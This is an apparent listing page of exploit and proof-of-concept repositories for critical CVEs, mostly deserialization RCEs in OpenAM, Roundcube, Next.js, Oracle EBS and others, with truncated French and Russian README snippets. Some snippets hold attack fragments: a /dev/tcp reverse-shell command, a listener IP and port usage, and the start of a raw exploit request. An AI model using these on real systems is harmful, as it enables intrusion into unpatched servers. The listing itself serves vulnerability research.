CVE-2025-49132

CVE-2025-49132 - 10.0 Critique https://github.com/pterodactyl/panel/security/advisories/GHSA-24wv-6c99-f843 Versions vulnérables : 1.9.0 .. 1.11.10 Considérations OpSec L'exploitation RCE est limitée mais peut être détectée via : cat /var/www/pterodactyl/storage/logs/laravel-2025--.log | grep...

CVE-2024-52433

CVE-2024-52433 My Geo Posts Free = 1.2 - Неаутентифицированная PHP-инъекция объектов Описание Плагин My Geo Posts Free для WordPress подвержен PHP-инъекции объектов в версиях до 1.2 включительно через десериализацию недоверенных входных данных. Это позволяет неаутентифицированным атакующим внедри...

CVE-2025-49113

CVE-2025-49113 Exploit Roundcube Un exploit Python pour CVE-2025-49113, ciblant une vulnérabilité dans le webmail Roundcube qui permet l'exécution de code à distance via une désérialisation d'objet PHP. Aperçu Cet exploit exploite une vulnérabilité de désérialisation dans la fonctionnalité de...

CVE-2025-66478-Exploit-PoC

CVE-2025-66478 Exploit PoC Этот репозиторий содержит код proof-of-concept PoC для воспроизведения и исследования уязвимости Next.js CVE-2025-66478. Включает уязвимое приложение Next.js и скрипт эксплойта на Node.js для тестирования уязвимости. Английский · Китайский Что такое CVE-2025-66478? Это...

cve-2025-61882-oracle_ebs_rce_reproduction

CVE-2025-61882 — Exécution de code à distance non authentifiée dans Oracle E-Business Suite CVSS 9.8 CRITIQUE Vue d'ensemble CVE-2025-61882 est une vulnérabilité d'exécution de code à distance non authentifiée dans Oracle E-Business Suite EBS, affectant les composants Concurrent Processing et BI...

PoC-for-CVE-2020-28948-CVE-2020-28949

POC pour CVE-2020-28948 & CVE-2020-28949 Les fichiers ici contiennent un PoC pour CVE-2020-28948 & CVE-2020-28949 afin de réaliser une exploitation à distance. Le serveur Le dossier serveur contient un serveur de téléchargement simple qui utilise la bibliothèque vulnérable ArchiveTar, située dans...

CVE-2026-33439-PoC

CVE-2026-33439 — Pre-Auth RCE в OpenAM Удалённое выполнение кода до аутентификации в OpenIdentityPlatform OpenAM = 16.0.5 через небезопасную десериализацию Java параметра jato.clientSession CVSS 9.8. Только для авторизованного тестирования безопасности. Быстрый старт 1. Build payload downloads JA...

CVE-2020-14343-PyYAML

CVE-2020-14343 PyYAML — POC de la vulnérabilité de désérialisation Aperçu de la vulnérabilité Élément| Information ---|--- Numéro CVE| CVE-2020-14343 Composant affecté| PyYAML Exemple : python poc.py http://vulnerable-site.com 192.168.1.100 4444 Déroulement de l'attaque 1. Le script démarre un...

CVE-2026-33439-Poc

CVE-2026-33439 RCE до аутентификации в OpenIdentityPlatform OpenAM через небезопасную десериализацию Java параметра jato.clientSession. Затронуты версии & /dev/tcp/HOST/PORT 0&1' Вывод слепой. Запрос блокируется до завершения команды, поэтому время подтверждает выполнение --command 'sleep 5'...

CVE-2026-33439

🐞 CVE-2026-33439 : RCE OpenAM pré-authentification via désérialisation de jato.clientSession Analyse humaine + analyse assistée par IA + rétro-ingénierie + avis → exploit Première implémentation d'exploit partagée publiquement pour CVE-2026-33439 Vulnérabilité de désérialisation Java non...

React2Shell

@React2Hell — CVE-2025-55182 Exploit 🔥 Next.js / React Server Remote Code Execution RCE Exploit █████▄ ▄▄▄▄▄ ▄▄▄ ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ▄▄▄▄▄ ██ ██ ▄▄▄▄▄ ▄▄ ▄▄ ██▄▄██▄ ██▄▄ ██▀██ ██▀▀▀ ██ ▄██▀ ██▄▄ ██████ ██▄▄ ██ ██ ██ ██ ██▄▄▄ ██▀██ ▀████ ██ ███▄▄ ▄▄▄███ ██ ██ ██▄▄▄ ██▄▄▄ ██▄▄▄ MAGENTA Next.js/React...

CVE-2026-59827

CVE-2026-59827: Désérialisation non sécurisée de Metabase dans les requêtes natives H2 Sévérité: Critique CVSS 9.9 CVE: CVE-2026-59827 Avis de sécurité: GHSA-w95f-x9v9-wv36 Signaleur: Matheus Gutierre @Gutierre0x80 Publié: 30 juin 2026 Résumé de la vulnérabilité Un utilisateur authentifié ayant...

CVE-2025-49113

Script Python pour CVE-2025-49113 Utilisation : python exploit.py https://ubuntu.com/security/CVE-2025-49113 Description : Roundcube Webmail avant 1.5.10 et 1.6.x avant 1.6.11 permet l'exécution de code à distance par des utilisateurs authentifiés car le paramètre from dans une URL n'est pas vali...

CVE-2026-27971_POC

CVE-2026-27971 — PoC RCE non authentifiée pour Qwik server$ !WARNING Ce dépôt contient une preuve de concept active d’exécution de code à distance. Ne l’utilisez que sur des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à effectuer des tests. L’auteur décline toute...

CVE-2025-64512-pdfminer-PoC

CVE-2025-64512 — PoC de désérialisation de CMapDB dans pdfminer.six Preuve de concept pour une vulnérabilité de désérialisation dans pdfminer.six qui conduit à une exécution de code arbitraire lors de l'analyse d'un PDF spécialement conçu. OBJET / AVIS LÉGAL Ce dépôt est fourni uniquement pour la...

cve-2025-55182

CVE-2025-55182 alias React2Shell Mise en place de l'environnement de test kiot :: /react2shell » docker compose build --no-cache kiot :: /react2shell » docker compose up POC Payload 1. RCE avec réponse dans le corps POST / HTTP/1.1 Host: localhost:3000 Next-Action: whatever Content-Type:...

PoC_CVE-2020-9484

Ce dépôt contient un exploit de preuve de concept pour CVE-2020-9484, ainsi qu'un serveur web d'exemple qui est vulnérable à cet exploit. Prérequis pour que cette vulnérabilité soit exploitable Les versions de Tomcat affectées sont : Apache Tomcat 10.x 10.0.0-M5 Apache Tomcat 9.x 9.0.35 Apache...

HTTP-Request-for-PHP-object-injection-attack-on-CVE-2023-41892

Ce type d'attaque tente d'exploiter le processus de désérialisation de l'application PHP pour exécuter du code arbitraire ou effectuer des actions non prévues sur le serveur. Stratégies d'atténuation Pour se défendre contre l'injection d'objets PHP et les attaques similaires, envisagez les...

MoveIT-CVE-2023-34362-RCE

CVE-2023-34362: RCE non authentifiée sur MOVEit Transfer Pour une description technique complète de la vulnérabilité et de son exploitation, veuillez lire notre Analyse AttackerKB. Utilisation ruby move.rb ruby move.rb 192.168.86.111 + Démarrage. cible='https://192.168.86.111'. + Jeton de session...

CVE-2025-55182

Comprendre les React Server Components et le protocole Flight Les React Server Components sont une fonctionnalité introduite dans React 19, permettant aux composants d'être rendus côté serveur plutôt que dans le navigateur du client. Le serveur peut traiter les tâches de calcul complexes tout en...